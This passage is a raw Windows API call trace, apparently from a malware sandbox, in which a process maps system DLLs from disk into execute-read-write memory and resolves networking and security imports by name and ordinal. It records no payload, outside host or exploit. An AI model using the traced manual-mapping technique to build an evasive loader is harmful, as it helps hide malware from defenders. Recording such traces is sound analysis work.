GetModuleHandleA (lpModuleName="API-MS-Win-Core-String-L1-1-0.dll") returned 0x77480000 [0098.482] GetProcAddress (hModule=0x77480000, lpProcName="MultiByteToWideChar") returned 0x774af308 [0098.482] GetProcAddress (hModule=0x77480000, lpProcName="WideCharToMultiByte") returned 0x774afa07 [0098.482] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Synch-L1-1-0.dll") returned 0x76300000 [0098.483] GetProcAddress (hModule=0x76300000, lpProcName="SetEvent") returned 0x763116c5 [0098.483] GetProcAddress (hModule=0x76300000, lpProcName="EnterCriticalSection") returned 0x77e522b0 [0098.483] GetProcAddress (hModule=0x76300000, lpProcName="LeaveCriticalSection") returned 0x77e52270 [0098.483] GetProcAddress (hModule=0x76300000, lpProcName="CreateEventA") returned 0x7631328c [0098.483] GetProcAddress (hModule=0x76300000, lpProcName="ResetEvent") returned 0x763116dd [0098.483] GetProcAddress (hModule=0x76300000, lpProcName="WaitForMultipleObjectsEx") returned 0x7631199e [0098.483] GetProcAddress (hModule=0x76300000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76311916 [0098.483] GetProcAddress (hModule=0x76300000, lpProcName="CreateEventW") returned 0x7631183e [0098.484] GetProcAddress (hModule=0x76300000, lpProcName="DeleteCriticalSection") returned 0x77e645f5 [0098.484] GetProcAddress (hModule=0x76300000, lpProcName="InitializeCriticalSection") returned 0x77e62c42 [0098.484] GetProcAddress (hModule=0x76300000, lpProcName="WaitForSingleObject") returned 0x76311136 [0098.484] GetModuleHandleA (lpModuleName="API-MS-Win-Core-SysInfo-L1-1-0.dll") returned 0x77480000 [0098.484] GetProcAddress (hModule=0x77480000, lpProcName="GetVersionExA") returned 0x77491f41 [0098.484] GetProcAddress (hModule=0x77480000, lpProcName="GetComputerNameExA") returned 0x77498197 [0098.484] GetProcAddress (hModule=0x77480000, lpProcName="GetTickCount") returned 0x77488c96 [0098.484] GetProcAddress (hModule=0x77480000, lpProcName="GetSystemTimeAsFileTime") returned 0x77488c67 [0098.484] GetProcAddress (hModule=0x77480000, lpProcName="GetSystemDirectoryA") returned 0x774956c4 [0098.484] GetProcAddress (hModule=0x77480000, lpProcName="GetSystemInfo") returned 0x7748e6b2 [0098.485] GetProcAddress (hModule=0x77480000, lpProcName="GetSystemWindowsDirectoryA") returned 0x7749577c [0098.485] GetModuleHandleA (lpModuleName="API-MS-Win-Security-Base-L1-1-0.dll") returned 0x77480000 [0098.485] GetProcAddress (hModule=0x77480000, lpProcName="SetSecurityDescriptorDacl") returned 0x7749c69c [0098.485] GetProcAddress (hModule=0x77480000, lpProcName="IsValidSid") returned 0x7749bf9d [0098.485] GetProcAddress (hModule=0x77480000, lpProcName="AddAccessAllowedAce") returned 0x7749c2d9 [0098.485] GetProcAddress (hModule=0x77480000, lpProcName="AddAccessDeniedAce") returned 0x7749c388 [0098.485] GetProcAddress (hModule=0x77480000, lpProcName="InitializeAcl") returned 0x7749c1bc [0098.485] GetProcAddress (hModule=0x77480000, lpProcName="ImpersonateLoggedOnUser") returned 0x7749ce25 [0098.485] GetProcAddress (hModule=0x77480000, lpProcName="EqualSid") returned 0x7749bfca [0098.485] GetProcAddress (hModule=0x77480000, lpProcName="GetAce") returned 0x7749c2ab [0098.485] GetProcAddress (hModule=0x77480000, lpProcName="GetAclInformation") returned 0x7749c1ea [0098.486] GetProcAddress (hModule=0x77480000, lpProcName="GetLengthSid") returned 0x7749c0fd [0098.486] GetProcAddress (hModule=0x77480000, lpProcName="FreeSid") returned 0x7749c05b [0098.486] GetProcAddress (hModule=0x77480000, lpProcName="AllocateAndInitializeSid") returned 0x7749c06c [0098.486] GetProcAddress (hModule=0x77480000, lpProcName="GetSecurityDescriptorDacl") returned 0x7749c6cd [0098.486] GetProcAddress (hModule=0x77480000, lpProcName="RevertToSelf") returned 0x7749cdf3 [0098.486] GetProcAddress (hModule=0x77480000, lpProcName="CheckTokenMembership") returned 0x7749d76b [0098.486] GetProcAddress (hModule=0x77480000, lpProcName="GetTokenInformation") returned 0x7749ba56 [0098.487] GetProcAddress (hModule=0x77480000, lpProcName="CopySid") returned 0x7749c116 [0098.487] GetProcAddress (hModule=0x77480000, lpProcName="InitializeSecurityDescriptor") returned 0x7749c5a6 [0098.487] GetModuleHandleA (lpModuleName="RPCRT4.dll") returned 0x76510000 [0098.487] GetProcAddress (hModule=0x76510000, lpProcName="RpcAsyncCompleteCall") returned 0x765c0d7c [0098.487] GetProcAddress (hModule=0x76510000, lpProcName="RpcServerInqBindings") returned 0x765508c2 [0098.487] GetProcAddress (hModule=0x76510000, lpProcName="RpcServerUseProtseqW") returned 0x76550fb5 [0098.487] GetProcAddress (hModule=0x76510000, lpProcName="RpcEpUnregister") returned 0x7654f3af [0098.487] GetProcAddress (hModule=0x76510000, lpProcName="RpcBindingVectorFree") returned 0x7654f33d [0098.488] GetProcAddress (hModule=0x76510000, lpProcName="RpcEpRegisterW") returned 0x76550ae1 [0098.488] GetProcAddress (hModule=0x76510000, lpProcName="RpcServerListen") returned 0x765509e8 [0098.488] GetProcAddress (hModule=0x76510000, lpProcName="RpcServerInqCallAttributesW") returned 0x76546ccd [0098.488] GetProcAddress (hModule=0x76510000, lpProcName="NdrServerCall2") returned 0x765c1035 [0098.488] GetProcAddress (hModule=0x76510000, lpProcName="NdrAsyncServerCall") returned 0x765c186e [0098.488] GetProcAddress (hModule=0x76510000, lpProcName="I_RpcBindingInqTransportType") returned 0x76546d80 [0098.488] GetProcAddress (hModule=0x76510000, lpProcName="UuidCreate") returned 0x7652f48b [0098.488] GetProcAddress (hModule=0x76510000, lpProcName="RpcRevertToSelf") returned 0x7654f7c3 [0098.489] GetProcAddress (hModule=0x76510000, lpProcName="RpcRevertToSelfEx") returned 0x76547c9e [0098.489] GetProcAddress (hModule=0x76510000, lpProcName="RpcImpersonateClient") returned 0x76547c3f [0098.489] GetProcAddress (hModule=0x76510000, lpProcName="RpcBindingInqObject") returned 0x7654601e [0098.489] GetProcAddress (hModule=0x76510000, lpProcName="RpcServerUnregisterIfEx") returned 0x76579218 [0098.489] GetProcAddress (hModule=0x76510000, lpProcName="RpcServerRegisterIfEx") returned 0x76549bc5 [0098.489] GetProcAddress (hModule=0x76510000, lpProcName="RpcServerUnregisterIf") returned 0x765453f4 [0098.489] GetModuleHandleA (lpModuleName="NSI.dll") returned 0x77260000 [0098.489] GetProcAddress (hModule=0x77260000, lpProcName="NsiGetParameter") returned 0x772616c8 [0098.490] GetProcAddress (hModule=0x77260000, lpProcName="NsiGetAllParameters") returned 0x77261640 [0098.490] GetProcAddress (hModule=0x77260000, lpProcName="NsiSetAllParameters") returned 0x77261b28 [0098.490] GetModuleHandleA (lpModuleName="API-MS-Win-Core-DelayLoad-L1-1-0.dll") returned 0x76300000 [0098.490] GetProcAddress (hModule=0x76300000, lpProcName="DelayLoadFailureHook") returned 0x763aec9d [0098.490] UnmapViewOfFile (lpBaseAddress=0x800000) returned 1 [0098.492] CloseHandle (hObject=0x138) returned 1 [0098.492] CloseHandle (hObject=0x134) returned 1 [0098.493] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x101fa28*=0x8b0000, RegionSize=0x101fa44, FreeType=0x8000) returned 0x0 [0098.495] GetModuleHandleA (lpModuleName="wsock32") returned 0x0 [0098.495] LoadLibraryA (lpLibFileName="wsock32") returned 0x75730000 [0098.495] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c3c000 [0098.495] IdePortDispatch () returned 0x103 [0098.497] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880027da6a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c44000 [0098.497] IdePortDispatch () returned 0x103 [0098.498] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c47000 [0098.498] IdePortDispatch () returned 0x103 [0098.498] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\wsock32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.498] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c4a000 [0098.498] IdePortDispatch () returned 0x103 [0098.499] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c4f000 [0098.499] IdePortDispatch () returned 0x103 [0098.499] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c52000 [0098.499] IdePortDispatch () returned 0x103 [0098.510] GetModuleFileNameA (in: hModule=0x75730000, lpFilename=0x101f61c, nSize=0x3ff | out: lpFilename="C:\\Windows\\SysWOW64\\wsock32.DLL") returned 0x1f [0098.510] CreateFileA (lpFileName="C:\\Windows\\SysWOW64\\wsock32.DLL" (normalized: "c:\\windows\\syswow64\\wsock32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x134 [0098.510] CreateFileMappingA (hFile=0x134, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x138 [0098.510] MapViewOfFile (hFileMappingObject=0x138, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x210000 [0098.511] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c54000 [0098.511] IdePortDispatch () returned 0x103 [0098.511] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x101f600, ZeroBits=0x0, RegionSize=0x101f5e4, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x101f600*=0x220000, RegionSize=0x101f5e4*=0x7000) returned 0x0 [0098.512] GetModuleHandleA (lpModuleName="WS2_32.dll") returned 0x774d0000 [0098.512] GetProcAddress (hModule=0x774d0000, lpProcName="WSARecv") returned 0x774d7089 [0098.512] GetProcAddress (hModule=0x774d0000, lpProcName=0x7) returned 0x774d737d [0098.512] GetProcAddress (hModule=0x774d0000, lpProcName="WSARecvFrom") returned 0x774dcba6 [0098.512] GetProcAddress (hModule=0x774d0000, lpProcName=0x15) returned 0x774d41b6 [0098.512] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x75fc0000 [0098.512] GetProcAddress (hModule=0x75fc0000, lpProcName="_except_handler4_common") returned 0x75fe3e27 [0098.512] GetProcAddress (hModule=0x75fc0000, lpProcName="_amsg_exit") returned 0x7602b2ef [0098.512] GetProcAddress (hModule=0x75fc0000, lpProcName="_initterm") returned 0x75fcc151 [0098.513] GetProcAddress (hModule=0x75fc0000, lpProcName="free") returned 0x75fc9894 [0098.513] GetProcAddress (hModule=0x75fc0000, lpProcName="malloc") returned 0x75fc9cee [0098.513] GetProcAddress (hModule=0x75fc0000, lpProcName="_XcptFilter") returned 0x75fedc75 [0098.513] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76300000 [0098.513] GetProcAddress (hModule=0x76300000, lpProcName="InterlockedExchange") returned 0x76311462 [0098.513] GetProcAddress (hModule=0x76300000, lpProcName="SetLastError") returned 0x763111a9 [0098.513] GetProcAddress (hModule=0x76300000, lpProcName="InterlockedCompareExchange") returned 0x76311484 [0098.513] GetProcAddress (hModule=0x76300000, lpProcName="QueryPerformanceCounter") returned 0x76311725 [0098.513] GetProcAddress (hModule=0x76300000, lpProcName="SetUnhandledExceptionFilter") returned 0x763187c9 [0098.513] GetProcAddress (hModule=0x76300000, lpProcName="UnhandledExceptionFilter") returned 0x7633772f [0098.513] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentProcess") returned 0x76311809 [0098.513] GetProcAddress (hModule=0x76300000, lpProcName="TerminateProcess") returned 0x7632d802 [0098.514] GetProcAddress (hModule=0x76300000, lpProcName="GetSystemTimeAsFileTime") returned 0x76313509 [0098.514] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentProcessId") returned 0x763111f8 [0098.514] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentThreadId") returned 0x76311450 [0098.514] GetProcAddress (hModule=0x76300000, lpProcName="GetTickCount") returned 0x7631110c [0098.514] GetProcAddress (hModule=0x76300000, lpProcName="Sleep") returned 0x763110ff [0098.514] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1 [0098.514] CloseHandle (hObject=0x138) returned 1 [0098.514] CloseHandle (hObject=0x134) returned 1 [0098.514] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x101fa28*=0x220000, RegionSize=0x101fa44, FreeType=0x8000) returned 0x0 [0098.514] GetModuleHandleA (lpModuleName="dnsapi") returned 0x0 [0098.515] LoadLibraryA (lpLibFileName="dnsapi") returned 0x756e0000 [0098.518] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\dnsapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.618] GetModuleFileNameA (in: hModule=0x756e0000, lpFilename=0x101f61c, nSize=0x3ff | out: lpFilename="C:\\Windows\\SysWOW64\\dnsapi.DLL") returned 0x1e [0098.618] CreateFileA (lpFileName="C:\\Windows\\SysWOW64\\dnsapi.DLL" (normalized: "c:\\windows\\syswow64\\dnsapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x140 [0098.618] CreateFileMappingA (hFile=0x140, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x144 [0098.618] MapViewOfFile (hFileMappingObject=0x144, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x800000 [0098.621] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x101f600, ZeroBits=0x0, RegionSize=0x101f5e4, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x101f600*=0x8b0000, RegionSize=0x101f5e4*=0x44000) returned 0x0 [0098.628] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cda000 [0098.628] IdePortDispatch () returned 0x103 [0098.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce2000 [0098.629] IdePortDispatch () returned 0x103 [0098.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cea000 [0098.629] IdePortDispatch () returned 0x103 [0098.640] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x75fc0000 [0098.640] GetProcAddress (hModule=0x75fc0000, lpProcName="free") returned 0x75fc9894 [0098.640] GetProcAddress (hModule=0x75fc0000, lpProcName="malloc") returned 0x75fc9cee [0098.640] GetProcAddress (hModule=0x75fc0000, lpProcName="_XcptFilter") returned 0x75fedc75 [0098.641] GetProcAddress (hModule=0x75fc0000, lpProcName="_initterm") returned 0x75fcc151 [0098.641] GetProcAddress (hModule=0x75fc0000, lpProcName="towlower") returned 0x75fcad52 [0098.641] GetProcAddress (hModule=0x75fc0000, lpProcName="_except_handler4_common") returned 0x75fe3e27 [0098.641] GetProcAddress (hModule=0x75fc0000, lpProcName="wcschr") returned 0x75fcaa61 [0098.641] GetProcAddress (hModule=0x75fc0000, lpProcName="wcstoul") returned 0x75fcb319 [0098.641] GetProcAddress (hModule=0x75fc0000, lpProcName="atoi") returned 0x75fcdbe0 [0098.641] GetProcAddress (hModule=0x75fc0000, lpProcName="sscanf") returned 0x75fded4c [0098.642] GetProcAddress (hModule=0x75fc0000, lpProcName="strtoul") returned 0x75fd012e [0098.642] GetProcAddress (hModule=0x75fc0000, lpProcName="_strlwr") returned 0x75fdca0b [0098.642] GetProcAddress (hModule=0x75fc0000, lpProcName="strncmp") returned 0x75fcb443 [0098.642] GetProcAddress (hModule=0x75fc0000, lpProcName="_strupr") returned 0x75fdd49e [0098.642] GetProcAddress (hModule=0x75fc0000, lpProcName="_amsg_exit") returned 0x7602b2ef [0098.642] GetProcAddress (hModule=0x75fc0000, lpProcName="memcpy") returned 0x75fc9910 [0098.642] GetProcAddress (hModule=0x75fc0000, lpProcName="_stricmp") returned 0x75fcdb38 [0098.642] GetProcAddress (hModule=0x75fc0000, lpProcName="rand") returned 0x75fcc070 [0098.643] GetProcAddress (hModule=0x75fc0000, lpProcName="srand") returned 0x75fcf757 [0098.643] GetProcAddress (hModule=0x75fc0000, lpProcName="_strnicmp") returned 0x75fd0578 [0098.643] GetProcAddress (hModule=0x75fc0000, lpProcName="_wcsnicmp") returned 0x75fcaae3 [0098.643] GetProcAddress (hModule=0x75fc0000, lpProcName="_wcsicmp") returned 0x75fca9e9 [0098.643] GetProcAddress (hModule=0x75fc0000, lpProcName="fputs") returned 0x75fe6c38 [0098.643] GetProcAddress (hModule=0x75fc0000, lpProcName="time") returned 0x75fcf708 [0098.643] GetProcAddress (hModule=0x75fc0000, lpProcName="localtime") returned 0x75fd7511 [0098.643] GetProcAddress (hModule=0x75fc0000, lpProcName="fprintf") returned 0x75fd3e00 [0098.644] GetProcAddress (hModule=0x75fc0000, lpProcName="fgets") returned 0x75fe4589 [0098.644] GetProcAddress (hModule=0x75fc0000, lpProcName="rewind") returned 0x75fe6e17 [0098.644] GetProcAddress (hModule=0x75fc0000, lpProcName="fopen") returned 0x75fdb2c4 [0098.644] GetProcAddress (hModule=0x75fc0000, lpProcName="strpbrk") returned 0x75fcf7b6 [0098.644] GetProcAddress (hModule=0x75fc0000, lpProcName="fclose") returned 0x75fd3d79 [0098.644] GetProcAddress (hModule=0x75fc0000, lpProcName="_vsnwprintf") returned 0x75fcbbce [0098.644] GetProcAddress (hModule=0x75fc0000, lpProcName="_vsnprintf") returned 0x75fcd1a8 [0098.645] GetProcAddress (hModule=0x75fc0000, lpProcName="memset") returned 0x75fc9790 [0098.645] GetModuleHandleA (lpModuleName="API-MS-Win-Core-ErrorHandling-L1-1-0.dll") returned 0x76300000 [0098.645] GetProcAddress (hModule=0x76300000, lpProcName="SetLastError") returned 0x763111a9 [0098.645] GetProcAddress (hModule=0x76300000, lpProcName="GetLastError") returned 0x763111c0 [0098.645] GetProcAddress (hModule=0x76300000, lpProcName="UnhandledExceptionFilter") returned 0x7633772f [0098.645] GetProcAddress (hModule=0x76300000, lpProcName="SetUnhandledExceptionFilter") returned 0x763187c9 [0098.645] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Handle-L1-1-0.dll") returned 0x76300000 [0098.645] GetProcAddress (hModule=0x76300000, lpProcName="CloseHandle") returned 0x76311410 [0098.646] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Interlocked-L1-1-0.dll") returned 0x77480000 [0098.646] GetProcAddress (hModule=0x77480000, lpProcName="InterlockedDecrement") returned 0x77486a64 [0098.646] GetProcAddress (hModule=0x77480000, lpProcName="InterlockedCompareExchange") returned 0x77486a8c [0098.646] GetProcAddress (hModule=0x77480000, lpProcName="InterlockedExchange") returned 0x77486a78 [0098.646] GetProcAddress (hModule=0x77480000, lpProcName="InterlockedIncrement") returned 0x77486a50 [0098.646] GetModuleHandleA (lpModuleName="API-MS-Win-Core-LibraryLoader-L1-1-0.dll") returned 0x77480000 [0098.646] GetProcAddress (hModule=0x77480000, lpProcName="GetProcAddress") returned 0x77491180 [0098.646] GetProcAddress (hModule=0x77480000, lpProcName="FreeLibrary") returned 0x77491d92 [0098.647] GetProcAddress (hModule=0x77480000, lpProcName="LoadLibraryExW") returned 0x77491bb2 [0098.647] GetProcAddress (hModule=0x77480000, lpProcName="DisableThreadLibraryCalls") returned 0x77490bdb [0098.647] GetProcAddress (hModule=0x77480000, lpProcName="GetModuleFileNameW") returned 0x77490c05 [0098.647] GetProcAddress (hModule=0x77480000, lpProcName="GetModuleHandleW") returned 0x77491094 [0098.647] GetProcAddress (hModule=0x77480000, lpProcName="LoadLibraryExA") returned 0x77491d54 [0098.647] GetModuleHandleA (lpModuleName="API-MS-Win-Core-LocalRegistry-L1-1-0.dll") returned 0x76300000 [0098.647] GetProcAddress (hModule=0x76300000, lpProcName="RegEnumKeyExW") returned 0x76312e9a [0098.648] GetProcAddress (hModule=0x76300000, lpProcName="RegCloseKey") returned 0x7631209f [0098.648] GetProcAddress (hModule=0x76300000, lpProcName="RegOpenKeyExW") returned 0x76312311 [0098.648] GetProcAddress (hModule=0x76300000, lpProcName="RegDeleteKeyExW") returned 0x76330725 [0098.648] GetProcAddress (hModule=0x76300000, lpProcName="RegSetValueExW") returned 0x76315be5 [0098.648] GetProcAddress (hModule=0x76300000, lpProcName="RegQueryValueExW") returned 0x76311f4e [0098.648] GetProcAddress (hModule=0x76300000, lpProcName="RegCreateKeyExW") returned 0x7631865b [0098.648] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Misc-L1-1-0.dll") returned 0x77480000 [0098.648] GetProcAddress (hModule=0x77480000, lpProcName="LocalReAlloc") returned 0x77494a9b [0098.649] GetProcAddress (hModule=0x77480000, lpProcName="Sleep") returned 0x77493511 [0098.649] GetProcAddress (hModule=0x77480000, lpProcName="LocalAlloc") returned 0x774948f9 [0098.649] GetProcAddress (hModule=0x77480000, lpProcName="LocalFree") returned 0x77493e61 [0098.649] GetModuleHandleA (lpModuleName="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll") returned 0x77480000 [0098.649] GetProcAddress (hModule=0x77480000, lpProcName="GetEnvironmentVariableW") returned 0x7748f9d7 [0098.649] GetModuleHandleA (lpModuleName="API-MS-Win-Core-ProcessThreads-L1-1-0.dll") returned 0x76300000 [0098.649] GetProcAddress (hModule=0x76300000, lpProcName="CreateThread") returned 0x763134d5 [0098.649] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentProcess") returned 0x76311809 [0098.650] GetProcAddress (hModule=0x76300000, lpProcName="TerminateProcess") returned 0x7632d802 [0098.650] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentProcessId") returned 0x763111f8 [0098.650] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentThreadId") returned 0x76311450 [0098.650] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Profile-L1-1-0.dll") returned 0x77480000 [0098.650] GetProcAddress (hModule=0x77480000, lpProcName="QueryPerformanceCounter") returned 0x77e68884 [0098.650] GetModuleHandleA (lpModuleName="API-MS-Win-Core-String-L1-1-0.dll") returned 0x77480000 [0098.650] GetProcAddress (hModule=0x77480000, lpProcName="MultiByteToWideChar") returned 0x774af308 [0098.650] GetProcAddress (hModule=0x77480000, lpProcName="WideCharToMultiByte") returned 0x774afa07 [0098.650] GetProcAddress (hModule=0x77480000, lpProcName="CompareStringW") returned 0x774a1ed8 [0098.651] GetModuleHandleA (lpModuleName="API-MS-Win-Core-SysInfo-L1-1-0.dll") returned 0x77480000 [0098.651] GetProcAddress (hModule=0x77480000, lpProcName="GetSystemTimeAsFileTime") returned 0x77488c67 [0098.651] GetProcAddress (hModule=0x77480000, lpProcName="GetVersionExW") returned 0x77491232 [0098.651] GetProcAddress (hModule=0x77480000, lpProcName="GetTickCount") returned 0x77488c96 [0098.651] GetProcAddress (hModule=0x77480000, lpProcName="GetSystemDirectoryA") returned 0x774956c4 [0098.651] GetProcAddress (hModule=0x77480000, lpProcName="GetTickCount64") returned 0x77488ccf [0098.651] GetModuleHandleA (lpModuleName="API-MS-Win-Core-Synch-L1-1-0.dll") returned 0x76300000 [0098.651] GetProcAddress (hModule=0x76300000, lpProcName="ReleaseMutex") returned 0x7631111e [0098.651] GetProcAddress (hModule=0x76300000, lpProcName="AcquireSRWLockShared") returned 0x77e62560 [0098.651] GetProcAddress (hModule=0x76300000, lpProcName="CreateEventA") returned 0x7631328c [0098.651] GetProcAddress (hModule=0x76300000, lpProcName="InitializeCriticalSection") returned 0x77e62c42 [0098.651] GetProcAddress (hModule=0x76300000, lpProcName="ReleaseSRWLockShared") returned 0x77e625a9 [0098.652] GetProcAddress (hModule=0x76300000, lpProcName="InitializeSRWLock") returned 0x77e68456 [0098.652] GetProcAddress (hModule=0x76300000, lpProcName="AcquireSRWLockExclusive") returned 0x77e629f1 [0098.652] GetProcAddress (hModule=0x76300000, lpProcName="ReleaseSRWLockExclusive") returned 0x77e629ab [0098.652] GetProcAddress (hModule=0x76300000, lpProcName="SleepEx") returned 0x76311215 [0098.652] GetProcAddress (hModule=0x76300000, lpProcName="ReleaseSemaphore") returned 0x7632d3ab [0098.652] GetProcAddress (hModule=0x76300000, lpProcName="CreateEventW") returned 0x7631183e [0098.652] GetProcAddress (hModule=0x76300000, lpProcName="CreateSemaphoreExW") returned 0x76394195 [0098.652] GetProcAddress (hModule=0x76300000, lpProcName="WaitForMultipleObjectsEx") returned 0x7631199e [0098.652] GetProcAddress (hModule=0x76300000, lpProcName="WaitForSingleObject") returned 0x76311136 [0098.652] GetProcAddress (hModule=0x76300000, lpProcName="SetEvent") returned 0x763116c5 [0098.652] GetProcAddress (hModule=0x76300000, lpProcName="LeaveCriticalSection") returned 0x77e52270 [0098.653] GetProcAddress (hModule=0x76300000, lpProcName="EnterCriticalSection") returned 0x77e522b0 [0098.653] GetProcAddress (hModule=0x76300000, lpProcName="DeleteCriticalSection") returned 0x77e645f5 [0098.653] GetModuleHandleA (lpModuleName="WS2_32.dll") returned 0x774d0000 [0098.653] GetProcAddress (hModule=0x774d0000, lpProcName=0xf) returned 0x774d2d8b [0098.653] GetProcAddress (hModule=0x774d0000, lpProcName=0x10) returned 0x774d6b0e [0098.653] GetProcAddress (hModule=0x774d0000, lpProcName=0x14) returned 0x774d34b5 [0098.653] GetProcAddress (hModule=0x774d0000, lpProcName=0x13) returned 0x774d6f01 [0098.653] GetProcAddress (hModule=0x774d0000, lpProcName=0x4) returned 0x774d6bdd [0098.653] GetProcAddress (hModule=0x774d0000, lpProcName=0x15) returned 0x774d41b6 [0098.653] GetProcAddress (hModule=0x774d0000, lpProcName="WSAIoctl") returned 0x774d2fe7 [0098.653] GetProcAddress (hModule=0x774d0000, lpProcName=0xd) returned 0x774db001 [0098.654] GetProcAddress (hModule=0x774d0000, lpProcName=0x3) returned 0x774d3918 [0098.654] GetProcAddress (hModule=0x774d0000, lpProcName=0x16) returned 0x774d449d [0098.654] GetProcAddress (hModule=0x774d0000, lpProcName=0x2) returned 0x774d4582 [0098.654] GetProcAddress (hModule=0x774d0000, lpProcName=0x6) returned 0x774d30af [0098.654] GetProcAddress (hModule=0x774d0000, lpProcName="WSAJoinLeaf") returned 0x774eca7d [0098.654] GetProcAddress (hModule=0x774d0000, lpProcName=0x36) returned 0x774e67c4 [0098.654] GetProcAddress (hModule=0x774d0000, lpProcName=0x38) returned 0x774e6d62 [0098.654] GetProcAddress (hModule=0x774d0000, lpProcName=0xe) returned 0x774d2d57 [0098.654] GetProcAddress (hModule=0x774d0000, lpProcName=0x35) returned 0x774e68b3 [0098.654] GetProcAddress (hModule=0x774d0000, lpProcName=0xb) returned 0x774d311b [0098.654] GetProcAddress (hModule=0x774d0000, lpProcName=0x73) returned 0x774d3ab2 [0098.654] GetProcAddress (hModule=0x774d0000, lpProcName=0x74) returned 0x774d3c5f [0098.655] GetProcAddress (hModule=0x774d0000, lpProcName="GetAddrInfoW") returned 0x774d4889 [0098.655] GetProcAddress (hModule=0x774d0000, lpProcName="FreeAddrInfoW") returned 0x774d4b1b [0098.655] GetProcAddress (hModule=0x774d0000, lpProcName=0xc) returned 0x774db131 [0098.655] GetProcAddress (hModule=0x774d0000, lpProcName=0x6f) returned 0x774d37ad [0098.655] GetProcAddress (hModule=0x774d0000, lpProcName=0x97) returned 0x774d6a8a [0098.655] GetProcAddress (hModule=0x774d0000, lpProcName=0x8) returned 0x774d2d57 [0098.655] GetProcAddress (hModule=0x774d0000, lpProcName="WSASocketW") returned 0x774d3cd3 [0098.655] GetProcAddress (hModule=0x774d0000, lpProcName=0x9) returned 0x774d2d8b [0098.655] GetProcAddress (hModule=0x774d0000, lpProcName=0x12) returned 0x774d6989 [0098.655] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77e30000 [0098.656] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv6StringToAddressW") returned 0x77e7ba09 [0098.656] GetProcAddress (hModule=0x77e30000, lpProcName="RtlIpv4StringToAddressW") returned 0x77e7b900 [0098.656] 